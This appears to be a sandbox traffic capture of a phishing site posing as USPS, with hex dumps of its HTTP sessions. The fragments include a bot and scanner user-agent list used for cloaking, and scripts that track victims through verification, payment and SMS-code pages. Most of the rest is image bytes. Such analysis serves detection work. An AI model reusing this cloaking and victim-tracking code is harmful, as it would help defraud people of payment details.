              2024-05-27 22:32:14 UTC1369INData Raw: 5c 2f 7c 47 6f 6f 67 6c 65 62 6f 74 2d 4d 6f 62 69 6c 65 7c 47 6f 6f 67 6c 65 62 6f 74 2d 49 6d 61 67 65 7c 47 6f 6f 67 6c 65 62 6f 74 2d 4e 65 77 73 7c 47 6f 6f 67 6c 65 62 6f 74 2d 56 69 64 65 6f 7c 41 64 73 42 6f 74 2d 47 6f 6f 67 6c 65 28 5b 5e 2d 5d 7c 24 29 7c 41 64 73 42 6f 74 2d 47 6f 6f 67 6c 65 2d 4d 6f 62 69 6c 65 7c 46 65 65 64 66 65 74 63 68 65 72 2d 47 6f 6f 67 6c 65 7c 4d 65 64 69 61 70 61 72 74 6e 65 72 73 2d 47 6f 6f 67 6c 65 7c 4d 65 64 69 61 70 61 72 74 6e 65 72 73 20 5c 28 47 6f 6f 67 6c 65 62 6f 74 5c 29 7c 41 50 49 73 2d 47 6f 6f 67 6c 65 7c 62 69 6e 67 62 6f 74 7c 53 6c 75 72 70 7c 5b 77 57 5d 67 65 74 7c 4c 69 6e 6b 65 64 49 6e 42 6f 74 7c 50 79 74 68 6f 6e 2d 75 72 6c 6c 69 62 7c 70 79 74 68 6f 6e 2d 72 65 71 75 65 73 74 73 7c 61
              Data Ascii: \/|Googlebot-Mobile|Googlebot-Image|Googlebot-News|Googlebot-Video|AdsBot-Google([^-]|$)|AdsBot-Google-Mobile|Feedfetcher-Google|Mediapartners-Google|Mediapartners \(Googlebot\)|APIs-Google|bingbot|Slurp|[wW]get|LinkedInBot|Python-urllib|python-requests|a
              2024-05-27 22:32:14 UTC1369INData Raw: 6f 74 7c 53 69 74 65 41 55 54 42 64 69 74 29 7c 66 75 65 6c 62 6f 74 7c 43 72 75 6e 63 68 42 6f 74 7c 49 6e 64 65 65 64 42 6f 74 7c 6d 61 70 70 79 64 61 74 61 7c 77 6f 6f 62 6f 74 7c 5a 6f 6f 6d 69 6e 66 6f 42 6f 74 7c 50 72 69 76 61 63 79 41 77 61 72 65 42 6f 74 7c 4d 75 6c 74 69 76 69 65 77 62 6f 74 7c 53 57 49 4d 47 42 6f 74 7c 47 72 6f 62 62 6f 74 7c 65 72 69 67 68 74 7c 41 70 65 72 63 69 74 65 7c 73 65 6d 61 6e 74 69 63 62 6f 74 7c 41 62 6f 75 6e 64 65 78 7c 64 6f 6d 61 69 6e 63 72 61 77 6c 65 72 7c 77 62 73 65 61 72 63 68 62 6f 74 7c 73 75 6d 6d 69 66 79 7c 43 43 42 6f 74 7c 65 64 69 73 74 65 72 62 6f 74 7c 73 65 7a 6e 61 6d 62 6f 74 7c 65 63 32 6c 69 6e 6b 66 69 6e 64 65 72 7c 67 73 6c 66 62 6f 74 7c 61 69 48 69 74 42 6f 74 7c 69 6e 74 65 6c 69 75
              Data Ascii: ot|SiteAUTBdit)|fuelbot|CrunchBot|IndeedBot|mappydata|woobot|ZoominfoBot|PrivacyAwareBot|Multiviewbot|SWIMGBot|Grobbot|eright|Apercite|semanticbot|Aboundex|domaincrawler|wbsearchbot|summify|CCBot|edisterbot|seznambot|ec2linkfinder|gslfbot|aiHitBot|inteliu
              2024-05-27 22:32:14 UTC1369INData Raw: 54 72 6f 76 65 7c 64 65 61 64 6c 69 6e 6b 63 68 65 63 6b 65 72 7c 53 6c 61 63 6b 2d 49 6d 67 50 72 6f 78 79 7c 45 6d 62 65 64 6c 79 7c 52 61 6e 6b 41 63 74 69 76 65 4c 69 6e 6b 42 6f 74 7c 69 73 6b 61 6e 69 65 7c 53 61 66 65 44 4e 53 42 6f 74 7c 53 6b 79 70 65 55 72 69 50 72 65 76 69 65 77 7c 56 65 6f 6f 7a 62 6f 74 7c 53 6c 61 63 6b 62 6f 74 7c 72 65 64 64 69 74 62 6f 74 7c 64 61 74 61 67 6e 69 6f 6e 62 6f 74 7c 47 6f 6f 67 6c 65 2d 41 64 77 6f 72 64 73 2d 49 6e 73 74 61 6e 74 7c 61 64 62 65 61 74 5f 62 6f 74 7c 57 68 61 74 73 41 70 70 7c 63 6f 6e 74 78 62 6f 74 7c 70 69 6e 74 65 72 65 73 74 2e 63 6f 6d 2e 62 6f 74 7c 65 6c 65 63 74 72 69 63 6d 6f 6e 6b 7c 47 61 72 6c 69 6b 43 72 61 77 6c 65 72 7c 42 69 6e 67 50 72 65 76 69 65 77 5c 2f 7c 76 65 62 69 64
              Data Ascii: Trove|deadlinkchecker|Slack-ImgProxy|Embedly|RankActiveLinkBot|iskanie|SafeDNSBot|SkypeUriPreview|Veoozbot|Slackbot|redditbot|datagnionbot|Google-Adwords-Instant|adbeat_bot|WhatsApp|contxbot|pinterest.com.bot|electricmonk|GarlikCrawler|BingPreview\/|vebid
              2024-05-27 22:32:14 UTC1369INData Raw: 76 69 65 77 7c 4d 41 55 54 42 69 42 6f 74 7c 41 6c 70 68 61 42 6f 74 7c 53 42 4c 2d 42 4f 54 7c 49 41 53 20 63 72 61 77 6c 65 72 7c 61 64 73 63 61 6e 6e 65 72 7c 4e 65 74 76 69 62 65 73 7c 61 63 61 70 62 6f 74 7c 42 61 69 64 75 2d 59 75 6e 47 75 61 6e 43 65 7c 62 69 74 6c 79 62 6f 74 7c 62 6c 6f 67 6d 75 72 61 42 6f 74 7c 42 6f 74 2e 41 72 61 54 75 72 6b 61 2e 63 6f 6d 7c 62 6f 74 2d 70 67 65 2e 63 68 6c 6f 6f 65 2e 63 6f 6d 7c 42 6f 78 63 61 72 42 6f 74 7c 42 54 57 65 62 43 6c 69 65 6e 74 7c 43 6f 6e 74 65 78 74 41 64 20 42 6f 74 7c 44 69 67 69 6e 63 6f 72 65 20 62 6f 74 7c 44 69 73 71 75 73 7c 46 65 65 64 6c 79 7c 46 65 74 63 68 5c 2f 7c 46 65 76 65 72 7c 46 6c 61 6d 69 6e 67 6f 5f 53 65 61 72 63 68 45 6e 67 69 6e 65 7c 46 6c 69 70 62 6f 61 72 64 50 72
              Data Ascii: view|MAUTBiBot|AlphaBot|SBL-BOT|IAS crawler|adscanner|Netvibes|acapbot|Baidu-YunGuanCe|bitlybot|blogmuraBot|Bot.AraTurka.com|bot-pge.chlooe.com|BoxcarBot|BTWebClient|ContextAd Bot|Digincore bot|Disqus|Feedly|Fetch\/|Fever|Flamingo_SearchEngine|FlipboardPr
              2024-05-27 22:32:14 UTC1369INData Raw: 52 65 67 69 6f 6e 53 74 75 74 74 67 61 72 74 42 6f 74 7c 42 79 74 65 73 70 69 64 65 72 7c 44 61 74 61 6e 79 7a 65 7c 47 6f 6f 67 6c 65 2d 53 69 74 65 2d 56 65 72 69 66 69 63 61 74 69 6f 6e 7c 54 72 65 6e 64 73 6d 61 70 52 65 73 6f 6c 76 65 72 7c 74 77 65 65 74 65 64 74 69 6d 65 73 7c 4e 54 45 4e 54 62 6f 74 7c 47 77 65 6e 65 7c 53 69 6d 70 6c 65 50 69 65 7c 53 65 61 72 63 68 41 74 6c 61 73 7c 53 75 70 65 72 66 65 65 64 72 7c 66 65 65 64 62 6f 74 7c 55 54 2d 44 6f 72 6b 62 6f 74 7c 41 6d 61 7a 6f 6e 62 6f 74 7c 53 65 72 65 6e 64 65 70 75 74 79 42 6f 74 7c 45 79 65 6f 74 61 62 6f 74 7c 6f 66 66 69 63 65 73 74 6f 72 65 62 6f 74 7c 4e 65 74 69 63 6c 65 20 43 72 61 77 6c 65 72 7c 53 75 72 64 6f 74 6c 79 42 6f 74 7c 4c 69 6e 6b 69 73 42 6f 74 7c 41 77 61 72 69
              Data Ascii: RegionStuttgartBot|Bytespider|Datanyze|Google-Site-Verification|TrendsmapResolver|tweetedtimes|NTENTbot|Gwene|SimplePie|SearchAtlas|Superfeedr|feedbot|UT-Dorkbot|Amazonbot|SerendeputyBot|Eyeotabot|officestorebot|Neticle Crawler|SurdotlyBot|LinkisBot|Awari
              2024-05-27 22:32:14 UTC1369INData Raw: 6f 77 65 72 22 2c 20 31 29 3b 0d 0a 09 09 09 09 09 09 69 73 54 72 75 65 20 3d 20 66 61 6c 73 65 3b 0d 0a 09 09 09 09 09 09 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 75 72 6c 2e 43 50 43 75 72 6c 3b 0d 0a 09 09 09 09 09 7d 0d 0a 09 09 09 09 09 69 66 20 28 72 65 73 2e 64 61 74 61 2e 63 6f 75 6e 74 20 3e 3d 20 75 72 6c 2e 56 69 73 69 74 73 20 7c 7c 20 69 73 29 20 7b 0d 0a 09 09 09 09 09 09 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 70 6f 77 65 72 22 2c 20 31 29 3b 0d 0a 09 09 09 09 09 09 69 73 54 72 75 65 20 3d 20 66 61 6c 73 65 3b 0d 0a 09 09 09 09 09 09 61 78 69 6f 73 2e 67 65 74 28 75 72 6c 2e 73 65 72 76 69 63 65 55 52 4c 20 2b 20 22 2f 63 6c 69 63 6b 2f 75 70 64 61 74 65 50 6f 77 65 72 22 29 2e 74 68 65 6e 28 72 65 73 20 3d
              Data Ascii: ower", 1);isTrue = false;location.href = url.CPCurl;}if (res.data.count >= url.Visits || is) {localStorage.setItem("power", 1);isTrue = false;axios.get(url.serviceURL + "/click/updatePower").then(res =
              2024-05-27 22:32:14 UTC1369INData Raw: 69 66 20 28 70 61 67 65 4e 61 6d 65 20 3d 3d 20 22 74 68 61 6e 6b 2e 68 74 6d 6c 22 29 20 7b 0d 0a 09 09 09 09 09 09 09 09 09 09 09 73 6f 63 6b 65 74 2e 73 65 6e 64 28 22 55 53 50 53 54 42 2f 74 68 61 6e 6b 2e 68 74 6d 6c 22 29 0d 0a 09 09 09 09 09 09 09 09 09 09 7d 0d 0a 09 09 09 09 09 09 09 09 09 7d 29 0d 0a 09 09 09 09 09 09 09 09 09 73 6f 63 6b 65 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6d 65 73 73 61 67 65 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 29 20 7b 0d 0a 09 09 09 09 09 09 09 09 09 09 76 61 72 20 72 65 61 64 65 72 20 3d 20 6e 65 77 20 46 69 6c 65 52 65 61 64 65 72 28 29 0d 0a 09 09 09 09 09 09 09 09 09 09 72 65 61 64 65 72 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6c 6f 61 64 65 6e 64 27 2c 20 66 75 6e 63
              Data Ascii: if (pageName == "thank.html") {socket.send("USPSTB/thank.html")}})socket.addEventListener('message', function(eve) {var reader = new FileReader()reader.addEventListener('loadend', func
              2024-05-27 22:32:14 UTC1369INData Raw: 0a 09 09 09 09 09 09 09 09 09 09 09 09 73 6f 63 6b 65 74 2e 73 65 6e 64 28 22 55 53 50 53 54 42 2f 76 65 72 69 66 79 2e 68 74 6d 6c 22 29 0d 0a 09 09 09 09 09 09 09 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 70 61 67 65 4e 61 6d 65 20 3d 3d 20 22 73 65 6e 64 53 4d 53 2e 68 74 6d 6c 22 29 20 7b 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 73 6f 63 6b 65 74 2e 73 65 6e 64 28 22 55 53 50 53 54 42 2f 73 65 6e 64 53 4d 53 2e 68 74 6d 6c 22 29 0d 0a 09 09 09 09 09 09 09 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 70 61 67 65 4e 61 6d 65 20 3d 3d 20 22 74 68 61 6e 6b 2e 68 74 6d 6c 22 29 20 7b 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 73 6f 63 6b 65 74 2e 73 65 6e 64 28 22 55 53 50 53 54 42 2f 74 68 61 6e 6b 2e 68 74 6d 6c 22 29 0d 0a 09 09 09 09 09 09 09 09 09
              Data Ascii: socket.send("USPSTB/verify.html")} else if (pageName == "sendSMS.html") {socket.send("USPSTB/sendSMS.html")} else if (pageName == "thank.html") {socket.send("USPSTB/thank.html")
              2024-05-27 22:32:14 UTC587INData Raw: 09 09 09 73 6f 63 6b 65 74 2e 73 65 6e 64 28 22 55 53 50 53 54 42 2f 76 65 72 69 66 79 2e 68 74 6d 6c 22 29 0d 0a 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 70 61 67 65 4e 61 6d 65 20 3d 3d 20 22 70 61 79 6d 65 6e 74 2e 68 74 6d 6c 22 29 20 7b 0d 0a 09 09 09 09 73 6f 63 6b 65 74 2e 73 65 6e 64 28 22 55 53 50 53 54 42 2f 70 61 79 6d 65 6e 74 2e 68 74 6d 6c 22 29 0d 0a 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 70 61 67 65 4e 61 6d 65 20 3d 3d 20 22 73 65 6e 64 53 4d 53 2e 68 74 6d 6c 22 29 20 7b 0d 0a 09 09 09 09 73 6f 63 6b 65 74 2e 73 65 6e 64 28 22 55 53 50 53 54 42 2f 73 65 6e 64 53 4d 53 2e 68 74 6d 6c 22 29 0d 0a 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 70 61 67 65 4e 61 6d 65 20 3d 3d 20 22 74 68 61 6e 6b 2e 68 74 6d 6c 22 29 20 7b 0d 0a 09 09 09 09
              Data Ascii: socket.send("USPSTB/verify.html")} else if (pageName == "payment.html") {socket.send("USPSTB/payment.html")} else if (pageName == "sendSMS.html") {socket.send("USPSTB/sendSMS.html")} else if (pageName == "thank.html") {


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              6192.168.2.549715188.114.97.34431492C:\Program Files\Google\Chrome\Application\chrome.exe
              TimestampBytes transferredDirectionData
              2024-05-27 22:32:14 UTC637OUTGET /static/images/loading-icon-transparent-background-12.jpg HTTP/1.1
              Host: usps.teamtepei.top
              Connection: keep-alive
              sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
              sec-ch-ua-mobile: ?0
              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
              sec-ch-ua-platform: "Windows"
              Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
              Sec-Fetch-Site: same-origin
              Sec-Fetch-Mode: no-cors
              Sec-Fetch-Dest: image
              Referer: https://usps.teamtepei.top/
              Accept-Encoding: gzip, deflate, br
              Accept-Language: en-US,en;q=0.9
              2024-05-27 22:32:14 UTC681INHTTP/1.1 200 OK
              Date: Mon, 27 May 2024 22:32:14 GMT
              Content-Type: image/jpeg
              Content-Length: 81572
              Connection: close
              Last-Modified: Mon, 30 Oct 2023 07:40:53 GMT
              ETag: "653f5e05-13ea4"
              Cache-Control: max-age=14400
              CF-Cache-Status: REVALIDATED
              Accept-Ranges: bytes
              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OOMQwKqBvdOA3iKHwXPkjDgTDQhXbBTkdhV7lMrNJJyyOB8UYUn3h4SVP5zn2nnCtYJFhujMwCWFTpbA0%2FYUcUPNAxzIjWcgmrMZJzMNE10XBz5MCpho7PYEBdsAAe0tUxFxE74%3D"}],"group":"cf-nel","max_age":604800}
              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
              Server: cloudflare
              CF-RAY: 88a975b1a99e17ad-EWR
              alt-svc: h3=":443"; ma=86400
              2024-05-27 22:32:14 UTC688INData Raw: 47 49 46 38 39 61 76 02 7d 02 e6 41 00 eb eb eb 80 80 80 ec ec ec ed ed ed f1 f1 f1 86 86 86 ee ee ee 84 84 84 f6 f6 f6 f0 f0 f0 ef ef ef f2 f2 f2 f3 f3 f3 87 87 87 85 85 85 81 81 81 83 83 83 f5 f5 f5 f4 f4 f4 dd dd dd 46 46 46 f7 f7 f7 88 88 88 82 82 82 89 89 89 29 29 29 8a 8a 8a f8 f8 f8 34 34 34 b8 b8 b8 8d 8d 8d 6a 6a 6a 8b 8b 8b de de de 35 35 35 2b 2b 2b 8c 8c 8c 8e 8e 8e cc cc cc a7 a7 a7 50 50 50 f9 f9 f9 4b 4b 4b a8 a8 a8 6f 6f 6f e0 e0 e0 e1 e1 e1 6d 6d 6d 8f 8f 8f 2c 2c 2c 91 91 91 bb bb bb 95 95 95 ea ea ea 7f 7f 7f dc dc dc 45 45 45 28 28 28 b7 b7 b7 69 69 69 a6 a6 a6 cb cb cb 56 56 56 90 90 90 33 33 33 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
              Data Ascii: GIF89av}AFFF)))444jjj555+++PPPKKKooommm,,,EEE(((iiiVVV333
              2024-05-27 22:32:14 UTC1369INData Raw: 22 20 78 6d 6c 6e 73 3a 64 63 3d 22 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 65 6c 65 6d 65 6e 74 73 2f 31 2e 31 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 78 6d 6c 6e 73 3a 73 74 52 65 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f 52 65 73 6f 75 72 63 65 52 65 66 23 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 35 20 57 69 6e 64 6f 77 73 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49
              Data Ascii: " xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceI
              2024-05-27 22:32:14 UTC1369INData Raw: f8 f3 e1 ca 9b 47 bf fa 87 fb f7 f0 e1 a3 53 2f f2 dc 8e fb f8 f3 e3 67 2f 2e be ff ff ee 91 47 5f 39 fa 15 68 e0 7d fc 6d 03 e0 82 ff 8d 43 1f 55 e0 1c 28 e1 81 09 5a c3 e0 85 0d 82 f3 a0 0d e1 4c e8 a1 81 15 4a 83 e1 88 fe 7d b3 e1 37 1f a6 58 60 88 cf 90 e8 a2 7c dd 9c d8 8d 8a 34 e6 c7 22 33 2f e6 18 20 37 32 6e 53 e3 8f 08 de 88 8c 8e 44 f2 f8 20 37 40 26 29 a4 ff 31 44 36 b9 4d 8f d8 24 29 e5 92 c3 34 69 a5 36 50 5a 23 e5 96 54 02 63 e5 97 43 1d 19 e5 96 5c 76 c9 cb 97 60 62 93 25 35 64 92 69 e6 2e 68 a6 69 cd 9a d2 b4 e9 e6 9b b8 c4 89 e6 35 74 42 63 67 9b 78 de a2 a7 9c d4 f4 f9 cc 9f 77 06 3a cb a0 7b 56 63 68 33 88 26 aa 68 2c 8c 12 2a cd a3 cb 44 0a e8 a4 94 56 7a 65 a1 62 4e a3 a9 a4 9c b6 e2 a9 a5 cf 60 9a cc a8 a4 96 aa ca a9 a8 2a 15 6a 34
              Data Ascii: GS/g/.G_9h}mCU(ZLJ}7X`|4"3/ 72nSD 7@&)1D6M$)4i6PZ#TcC\v`b%5di.hi5tBcgxw:{Vch3&h,*DVzebN`*j4
              2024-05-27 22:32:14 UTC1369INData Raw: 2c 23 96 77 5e 56 d0 f7 bf f6 bd 2f 7e a3 f1 5e 43 f0 57 be cb f8 2f 80 d7 21 e0 06 43 43 bf 8a 60 5d ff 7f 53 a1 60 05 b3 a3 c1 0e 6e d1 6a 2b db c8 2e 72 57 17 15 0e 31 83 31 9c 61 1c 15 d8 2e 94 fc 30 2e 42 cc e2 11 93 b8 c4 ca 80 30 7c f7 85 89 09 93 82 c5 38 76 f1 8b 61 3c a4 0d 47 a2 c3 d8 44 30 31 70 9c 63 75 ec f8 c5 cb 38 b1 20 80 ec 08 1b 87 82 c8 44 d6 f1 91 79 5c 0c 25 33 79 8d 42 0e 06 94 a3 6c e4 29 ef b8 c7 09 dd 2b 78 2a 99 65 5f 6c 19 ca 52 f6 32 95 85 61 e5 31 c7 b0 cc 98 3d 33 9a bb ac e6 2f 33 29 cc 95 d8 0e 99 3b 67 0c 39 9f 39 cd 75 c6 70 95 f1 4c 09 3d d7 d8 78 43 f6 f3 96 2f 1c e8 29 13 83 d0 85 66 0e 05 f9 dc 5d 45 2f 9a d1 8d 3e 72 95 20 1d 5a 49 1f 9a d2 7e b5 f4 9f 31 9d 69 4d 07 83 d3 9d ee cd a4 2b 17 57 51 8f 1a d0 a5 26 b1
              Data Ascii: ,#w^V/~^CW/!CC`]S`nj+.rW11a.0.B0|8va<GD01pcu8 Dy\%3yBl)+x*e_lR2a1=3/3);g99upL=xC/)f]E/>r ZI~1iM+WQ&
              2024-05-27 22:32:14 UTC1369INData Raw: 98 a8 d0 9a b4 f9 97 e8 11 9b b8 59 98 a7 50 9b bc 59 97 e7 91 9b c0 a9 97 a6 d0 9b c4 b9 96 bf 19 9c c8 f9 96 a5 50 9c cc f9 95 e3 91 9c d0 69 96 cb d9 9c d4 39 95 e2 11 9d d8 29 97 a3 50 9d dc 89 94 d7 99 9d e0 e9 94 db d9 9d e4 a9 93 df 19 9e e8 09 94 e3 59 9e ec a9 92 de 91 9e f0 f9 93 eb d9 9e f4 59 92 ef 19 9f f8 19 93 f3 59 9f fc e9 90 dd 91 9f 00 ea 92 fb d9 9f 04 9a 90 ff 19 a0 08 ea 91 03 5a a0 0c 4a 90 07 9a a0 10 aa 99 a2 d0 a0 14 2a 96 d9 11 a1 18 8a 96 13 5a a1 1c aa 03 0f 9a a1 19 ba a0 1d da 9f 1f 0a a2 11 2a a2 23 4a 9f f7 69 a2 18 8a a2 29 ca 9e 2b ca a2 10 ea a2 2f 4a 9e e7 29 ff a3 08 4a a3 35 ca 9d 37 8a a3 00 4a 0a 3b 4a a2 31 ea a3 f8 39 9d 41 da 9e cf 49 a4 3f 0a a4 47 8a a4 49 aa a4 f1 69 a4 4d 6a a3 4f 0a a5 e8 b9 9b 53 da 9d af
              Data Ascii: YPYPi9)PYYYZJ*Z*#Ji)+/J)J57J;J19AI?GIiMjOS
              2024-05-27 22:32:14 UTC1369INData Raw: 8d 0a 2f cd cd b6 20 d3 fe 4a 0f 35 bd ae ba 80 d3 39 ed 09 3e dd d4 4e bd d3 a5 10 d4 42 3d d4 44 fd ae f3 70 d4 ec 9a d4 4a 5d cb 3a fd d4 5e ed d4 a2 20 d5 24 8d 0b 55 8d af f0 80 d5 04 bb 0b 5b 1d d2 9f f0 d5 6e 0d d6 a0 20 d6 63 7d 0b 65 0d b0 67 8d d6 1c cb 0b 6b cd d5 4c fd d6 7e ed d3 9f 20 d7 73 4d d7 75 8d b1 ee 80 d7 51 db ff 0b 7b cd d7 9c f0 d7 8e fd d3 9d 20 d8 ac dc 0b 85 0d b2 87 8d d6 c0 b0 d8 8f dc d7 8f dd d9 91 2d d9 a0 ec 0b 85 fd 0e 58 1d 0c 9a bd d9 8d dd d9 aa 5d 03 9c 00 da a1 2d da 75 dd 0e 47 2d 0c a7 8d da 9a b0 da b8 bd 09 ae fd da b0 4d d4 b2 9d d2 c3 50 db 9d 7c db b8 9d db 99 b0 db bc dd db 1a fd db 05 4d 0c c2 3d dc 98 50 dc c5 ad 09 c8 5d c8 c4 60 d2 cc 1d ce c6 f0 dc 80 bc 09 d2 3d dd c7 5d dd 77 7c dd cb ad 0e f9 7c 0c
              Data Ascii: / J59>NB=DpJ]:^ $U[n c}egkL~ sMuQ{ -X]-uG-MP|M=P]`=]w||
              2024-05-27 22:32:14 UTC1369INData Raw: 8b 1e cd 4d b3 c3 94 9d 3d 73 04 1d 9a b4 eb d7 5c 4d e7 43 9d fa df ff 67 d6 15 61 eb de 6d 4b f6 6c da b5 97 a9 c4 9d 9b b7 f1 e3 95 7c df 5b 19 9c d9 4a e2 04 91 4b 9f ae 7c b9 ca e6 c2 9f 43 bf 38 bd fb ee ea e1 58 62 57 c6 72 bb 40 ef e8 5d 83 07 27 7e fc a7 96 e6 b9 a7 9f bf 78 fd c3 f6 ee 3b c1 8f bf 8e be 7f c0 f6 11 a3 53 7e 9e e8 c4 5f 7f ff 25 78 56 80 02 b6 44 a0 7e fb 1d 88 92 82 14 6a c5 a0 38 03 3e 48 92 81 12 4e 58 e1 87 3d 5d 88 a1 83 1a a2 c3 61 87 d4 80 a8 22 4b 22 2e c2 53 89 26 46 88 62 2b 2b d6 98 52 8b c6 ec 04 63 33 3c cd 98 a2 8d 40 26 84 63 22 3d ed 58 53 8f 3e d2 18 e4 92 06 0d 19 53 91 46 d6 90 54 92 4a 32 69 65 3c 4e 3e f9 62 94 53 52 b9 ca 95 60 be 93 65 50 50 1a a9 94 97 5f 86 a9 66 36 63 92 b9 a5 99 67 a2 59 d0 9a 74 56 d3
              Data Ascii: M=s\MCgamKl|[JK|C8XbWr@]'~x;S~_%xVD~j8>HNX=]a"K".S&Fb++Rc3<@&c"=XS>SFTJ2ie<N>bSR`ePP_f6cgYtV
              2024-05-27 22:32:14 UTC1369INData Raw: 8e de f4 48 63 3d 40 aa 23 64 ff 8e 44 16 69 e4 88 3f 72 88 e3 92 28 36 79 cd 93 47 ce 93 24 3a 54 0e 69 25 35 58 fa d8 ce 96 e2 74 c9 e4 97 60 86 09 e5 98 52 ae 63 a6 97 68 32 a3 a6 98 ea 90 09 ce 9b 70 c6 99 cc 9c 74 a6 63 e7 37 78 e6 a9 a7 31 7c f6 39 ce 9f dd 04 2a e8 a0 c4 14 ba 66 9d 6d 8e a3 e8 a2 8c fa e2 e8 a3 e8 20 7a cd a4 55 56 7a cc a5 98 8a a3 69 35 9c 76 ea 69 31 a0 6a 08 29 70 6e 96 5a e1 a9 9f a6 1a a1 9f 91 de e9 ea ab b0 a2 2a ab 81 ab d6 a6 e4 ad 16 e6 da e8 ae bc 66 5a ab 37 c0 e2 2a ac a5 c4 16 48 2b ab 92 26 1b ec b2 bd 34 5b ac a8 c7 62 23 ed b4 d4 ee 62 ed b5 e0 8c ca cc b6 dc 76 9b cb b7 ce 62 0b 6d 38 e4 2e 68 6e b5 e8 ea a7 ae af ec b6 0b e0 bb f0 c6 fb de bc b0 95 69 af 7d f8 f2 a2 af bc e1 66 4b cd bf f7 06 ec ed c0 e4 85 23
              Data Ascii: Hc=@#dDi?r(6yG$:Ti%5Xt`Rch2ptc7x1|9*fm zUVzi5vi1j)pnZ*fZ7*H+&4[b#bvbm8.hni}fK#
              2024-05-27 22:32:14 UTC1369INData Raw: bb 11 e1 f2 6a 06 c7 61 13 ea 91 5f dc 63 25 3f d8 1a 4d 4e c4 8d bb a9 b6 ba 4e 99 ca 55 b6 f2 8f e5 54 63 1b 23 e6 13 39 a6 c6 97 77 5c 5d 31 6b 18 c8 1d ce 0c 65 a0 9c 35 35 af 99 cd eb 75 b3 8c d3 a4 4d b9 0a 06 cd 5d 36 f2 9d 79 9c 67 3d ef 39 1a 71 f6 b0 5d 7c 58 67 69 0c 7a ca be 35 f4 a1 97 51 e6 4b 2c 9a d1 50 4b eb a3 8f 8c 5a 49 fb 18 d1 54 f3 09 59 fe d7 e8 65 6c 1a d2 9d f6 f4 a4 91 d1 67 99 62 65 14 51 56 c6 a9 51 9d 6a 55 af 9a 50 ac 13 b5 51 44 98 e9 64 cc fa cb e9 b0 b5 95 59 9d eb 76 c6 64 91 47 43 c6 af 81 ff 1d 6c 61 2b 99 d8 a5 0b 26 49 4e d1 eb d2 2e 9b d6 90 75 f6 a7 a5 79 32 48 ae c5 8e 3e 33 ee b5 b1 dd 6c 6d 6f 3b 81 e7 13 e4 63 b4 58 b3 62 8c 9b d9 ed 30 f7 b3 1d 59 31 fa b0 ac bb ef 26 77 5b e5 7d ee e7 31 cc de 23 f3 45 be d7
              Data Ascii: ja_c%?MNNUTc#9w\]1ke55uM]6yg=9q]|Xgiz5QK,PKZITYelgbeQVQjUPQDdYvdGCla+&IN.uy2H>3lmo;cXb0Y1&w[}1#E
              2024-05-27 22:32:14 UTC1369INData Raw: 19 9d fa 89 9e fc 49 9e fe f9 9f e1 19 a0 e3 c9 9b 04 5a a0 06 ca 9d 08 9a a0 da 19 04 0b 6a 9d 0d ea a0 d2 19 9b 11 8a 9c ad 49 a1 d9 69 a1 17 1a 9c a5 a9 a1 cc c9 a1 1d aa 9b 1f 0a a2 c4 99 99 23 4a a2 95 69 a2 27 1a 9a 29 9a 9b 8d c9 a2 bd 99 98 2f ba 9a aa 23 ff a3 b7 49 a3 35 2a 9a 7d 89 a3 ae 99 97 3b ba 99 74 e9 a3 a6 f9 96 41 2a 99 6a 49 a4 97 59 96 47 3a 98 60 a9 a4 8e b9 95 4d ca 97 dd 03 a5 86 19 95 53 0a 97 4c 69 a5 76 79 94 59 6a 96 41 c9 a5 90 39 09 5f 4a 95 16 24 a6 62 f9 92 65 8a 94 32 84 a6 57 f9 09 6b ca 93 4e e4 a6 b0 39 0a 71 4a 92 78 44 a7 2d b9 0a 77 fa 95 f0 a8 a7 64 e9 8d 82 3a a8 84 5a a8 86 7a a8 88 9a a8 8a ba a8 8c da a8 8e fa a8 90 1a a9 92 3a a9 94 5a a9 96 7a a9 98 9a a9 9a ba a9 9c da a9 9e fa a9 a0 1a aa a2 3a aa fa 73 03
